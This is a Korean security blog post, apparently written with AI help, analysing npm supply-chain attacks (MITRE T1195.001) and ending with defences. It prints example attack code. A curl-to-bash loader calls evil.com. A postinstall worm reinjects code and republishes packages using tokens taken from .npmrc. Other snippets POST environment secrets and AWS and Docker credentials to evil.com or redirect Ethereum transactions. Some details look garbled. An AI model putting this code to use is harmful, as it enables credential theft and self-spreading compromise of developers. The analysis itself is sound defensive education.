COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
npm 패키지 침해로 대량 다운로드가 감염된 T1195.001 공급망 공격의 동작 원리와 자기증식 메커니즘을 기술적으로 분석한다. 피싱부터 페이로드 실행까지 4단계 공격 과정을 상세히 해부한다.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
npm 생태계는 JavaScript 개발의 핵심 인프라로 자리잡았다. 하지만 단일 개발자 계정 해킹으로 패키지에 악성코드가 주입되어 주간 대량 다운로드를 기록하는 패키지들이 감염되는 사건이 발생했다. 이는 소프트웨어 의존성 공급망의 치명적 약점을 보여주는 대표적 사례다.
과거 개발자들은 모든 코드를 직접 작성했지만, 현대 애플리케이션은 대부분이 외부 라이브러리로 구성된다. 단일 웹 애플리케이션이 수백 개의 npm 패키지에 의존하는 상황에서, 하나의 패키지 침해가 수천 개 프로젝트에 동시 영향을 미치는 구조적 위험이 만들어졌다.
T1195.001은 이런 의존성 생태계의 신뢰 관계를 악용하여 대규모 공급망 공격을 수행하는 기법이다.
T1195.001(소프트웨어 의존성 및 개발 도구 침해)은 공격자가 최종 사용자에게 전달되기 전 소프트웨어 의존성과 개발 도구를 조작하여 데이터나 시스템을 침해하는 기법이다.
Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means of adding malicious code to users of the dependency. — MITRE ATT&CK T1195.001
이 기법의 핵심은 신뢰 체인(Trust Chain) 을 악용하는 것이다. 개발자들은 npm, PyPI, Maven Central 같은 패키지 저장소를 신뢰하고, 이 저장소들은 패키지 유지관리자를 신뢰한다. 공격자는 이 신뢰 관계의 가장 약한 고리를 공격하여 전체 체인을 침해한다.
| 용어 | 설명 |
|---|---|
| T1195.001 (의존성 침해) | 공격 대상: npm 패키지, pip 라이브러리 / 침해 시점: 개발 단계 / 영향 범위: 패키지 사용하는 모든 앱 |
| T1195.002 (공급업체 침해) | 공격 대상: 소프트웨어 벤더 / 침해 시점: 배포 단계 / 영향 범위: 소프트웨어 사용자 전체 |
| T1195.003 (하드웨어 침해) | 공격 대상: 제조업체, 유통업체 / 침해 시점: 제조/유통 단계 / 영향 범위: 하드웨어 사용자 전체 |
| Typosquatting | 공격 대상: 패키지 이름 유사성 / 침해 시점: 설치 단계 / 영향 범위: 실수로 설치한 개발자 |
| Dependency Confusion | 공격 대상: 내부/외부 패키지명 충돌 / 침해 시점: 설치 단계 / 영향 범위: 조직 내부 |
T1195.001의 공격 과정은 크게 초기 침입, 패키지 조작, 자동 전파, 페이로드 실행 4단계로 나뉜다.
공격자는 다음 방법으로 패키지 유지관리자 계정을 탈취한다:
피싱 캠페인: 가짜 npm 웹사이트로 유도하여 2FA 토큰 탈취
POST /login HTTP/1.1
Host: npmjs-security.com (가짜 사이트)
Content-Type: application/json
{
"username": "maintainer@example.com",
"password": "password123",
"otp": "123456" // 실시간 2FA 토큰
}
계정 크리덴셜 재사용: 다른 서비스에서 유출된 비밀번호 시도
소셜 엔지니어링: npm 지원팀을 사칭하여 계정 복구 요청
계정 탈취 후 공격자는 기존 패키지에 악성코드를 주입한다:
// 정상 패키지의 index.js
module.exports = function debugLog(message) {
console.log(`[DEBUG] ${message}`);
};
// 악성코드가 주입된 버전
module.exports = function debugLog(message) {
console.log(`[DEBUG] ${message}`);
// 악성 페이로드 로드
try {
require('child_process').exec('curl -s evil.com/payload.sh | bash', {stdio: 'ignore'});
} catch(e) { /* 조용히 실패 */ }
};
패키지 버전 조작: 기존 패키지의 패치 버전을 올려 자동 업데이트 유도
debug@4.3.4 → debug@4.3.5 (패치 버전은 자동 업데이트됨)의존성 추가: 새로운 악성 의존성을 package.json에 추가
{
"name": "popular-package",
"version": "1.2.4",
"dependencies": {
"legitimate-lib": "^2.0.0",
"crypto-stealer": "^1.0.0" // 새로 추가된 악성 패키지
}
}
고도화된 공급망 공격에서는 자동 전파 기능이 포함된다:
// post-install 스크립트 (package.json)
{
"scripts": {
"postinstall": "node ./scripts/setup.js"
}
}
// setup.js - 자기 증식 로직
const fs = require('fs');
const { execSync } = require('child_process');
// 1. 다른 npm 패키지 스캔
const packageDirs = fs.readdirSync('./node_modules')
.filter(dir => fs.existsSync(`./node_modules/${dir}/package.json`));
// 2. 각 패키지에 악성코드 주입 시도
packageDirs.forEach(pkg => {
try {
const packagePath = `./node_modules/${pkg}`;
const indexPath = `${packagePath}/index.js`;
if (fs.existsSync(indexPath)) {
const originalCode = fs.readFileSync(indexPath, 'utf8');
const maliciousCode = `${originalCode}\n${PAYLOAD}`;
fs.writeFileSync(indexPath, maliciousCode);
}
} catch(e) { /* 조용히 실패 */ }
});
npm 계정 자격증명 탈취를 통한 확산:
const propagate = async () => {
// 1. npm 계정 자격증명 탈취
const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
const authToken = npmrc.match(/_authToken=(.+)/)?.[1];
if (authToken) {
// 2. 계정이 유지관리하는 패키지 목록 조회
const packages = await fetch('https://registry.npmjs.org/-/user/org.couchdb.user:username/package', {
headers: { Authorization: `Bearer ${authToken}` }
}).then(r => r.json());
// 3. 각 패키지에 악성코드 주입 후 재배포
for (const pkg of packages) {
await injectAndPublish(pkg.name, authToken);
}
}
};
const injectAndPublish = async (packageName, token) => {
// 패키지 다운로드 → 악성코드 주입 → 버전 업데이트 → 재배포
execSync(`npm pack ${packageName}`);
// ... 악성코드 주입 로직 ...
execSync(`npm publish --access public`, {
env: { ...process.env, NPM_TOKEN: token }
});
};
의존성 체인을 통한 자동 확산: 인기 패키지 하나를 감염시키면 수만 개 프로젝트가 자동으로 업데이트된다.
# 의존성 트리 분석
npm ls --depth=0
my-app@1.0.0
├── express@4.18.2
├── lodash@4.17.21 (감염된 패키지)
└── axios@1.3.4
# lodash 패치 업데이트 시 자동 설치됨
npm update
# lodash@4.17.22 (악성코드 포함) 자동 설치
패키지 설치 시 post-install 스크립트가 자동 실행되어 다음 작업을 수행한다:
환경변수 스캔:
// 민감한 환경변수 탈취
const sensitiveEnvs = Object.keys(process.env)
.filter(key => key.includes('TOKEN') || key.includes('KEY') || key.includes('SECRET'))
.reduce((obj, key) => {
obj[key] = process.env[key];
return obj;
}, {});
// 외부 서버로 전송
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify(sensitiveEnvs)
});
브라우저 기반 암호화폐 탈취:
// 웹 환경에서만 실행되는 페이로드
if (typeof window !== 'undefined') {
// Ethereum 지갑 주소 감지 및 변조
const originalSend = window.ethereum?.request;
if (originalSend) {
window.ethereum.request = function(args) {
if (args.method === 'eth_sendTransaction') {
// 수신자 주소를 공격자 지갑으로 변경
args.params[0].to = '0x742d35Cc6634C0532925a3b8D';
}
return originalSend.call(this, args);
};
}
}
CI/CD 환경 침해:
#!/bin/bash
# 빌드 서버에서 실행되는 스크립트
# AWS 자격증명 탈취
if [ -f ~/.aws/credentials ]; then
curl -X POST https://evil.com/aws -d @~/.aws/credentials
fi
# Docker 레지스트리 자격증명 탈취
if [ -f ~/.docker/config.json ]; then
curl -X POST https://evil.com/docker -d @~/.docker/config.json
fi
# Git 토큰 탈취
git config --global credential.helper store
echo "https://stolen-token@github.com" > ~/.git-credentials
이 과정에서 공격자는 개발 환경의 모든 비밀 정보에 접근할 수 있으며, 추가적인 시스템 침해나 횡적 이동이 가능해진다.
공격자에게 T1195.001은 최소 노력으로 최대 효과 를 얻을 수 있는 매력적인 공격 벡터다. 단일 패키지 침해로 수만 개 프로젝트에 동시 접근할 수 있기 때문이다.
1. 암묵적 신뢰: 개발자들은 npm install을 실행할 때 패키지의 post-install 스크립트가 임의 코드를 실행한다는 사실을 간과한다.
2. 자동화된 의존성 관리:
// package.json에서 자동 업데이트 설정
{
"dependencies": {
"lodash": "^4.17.0", // 4.17.x의 모든 패치 버전 자동 설치
"express": "~4.18.0" // 4.18.x의 모든 패치 버전 자동 설치
}
}
공격자는 패치 버전을 올려 배포하면 CI/CD 파이프라인에서 자동으로 설치되는 것을 노린다.
3. 개발 환경의 높은 권한: 개발자 머신과 빌드 서버는 일반적으로 프로덕션 시스템에 대한 높은 권한을 가지고 있다.
공격 개요: 피싱을 통해 탈취한 npm 계정으로 인기 패키지에 암호화폐 절도 악성코드 주입
피해 규모:
공격 메커니즘:
// 주입된 악성코드 (난독화 해제 버전)
!function(){try{if(typeof window!=="undefined"&&window.ethereum){const originalRequest=window.ethereum.request;window.ethereum.request=function(args){if(args.method==="eth_sendTransaction"){args.params[0].to="0x742d35Cc6634C0532925a3b8D"}return originalRequest.call(this,args)}}}catch(e){}}();
탐지 회피 기법:
패키지 설치 시 보안 검증:
# 패키지 설치 전 스크립트 확인
npm pack package-name
tar -tf package-name-1.0.0.tgz | grep -E "\.(js|sh|py)$"
# post-install 스크립트 비활성화
npm install --ignore-scripts
# 패키지 무결성 검증
npm audit
의존성 고정 및 모니터링:
// package-lock.json 사용으로 정확한 버전 고정
{
"name": "my-app",
"lockfileVersion": 2,
"requires": true,
"packages": {
"node_modules/lodash": {
"version": "4.17.21",
"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
"integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
}
}
}
CI/CD 환경 격리:
T1195.001은 현대 소프트웨어 개발의 의존성 중심 구조를 악용하여 단일 침해로 수만 개 프로젝트에 동시 영향을 미치는 고효율 공격 기법이다. 자동화된 의존성 관리는 공격자에게 이상적인 전파 매체를 제공한다.
이 공격의 핵심은 신뢰 체인의 가장 약한 고리 를 노리는 것이다. 소프트웨어 공급망 침해로 60만 기업이 피해를 입은 이유에서 다룬 T1195.002와 달리, T1195.001은 개발 단계에서 의존성 자체를 조작하여 더 광범위한 영향을 미친다.
앞으로 알아볼 관련 주제로는 타입스쿼팅(Typosquatting) 공격, 의존성 혼동(Dependency Confusion), 컨테이너 이미지 공급망 침해 등이 있다. 특히 AI 개발 환경에서 Python 패키지를 통한 공급망 공격이 급증하고 있어 주의가 필요하다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.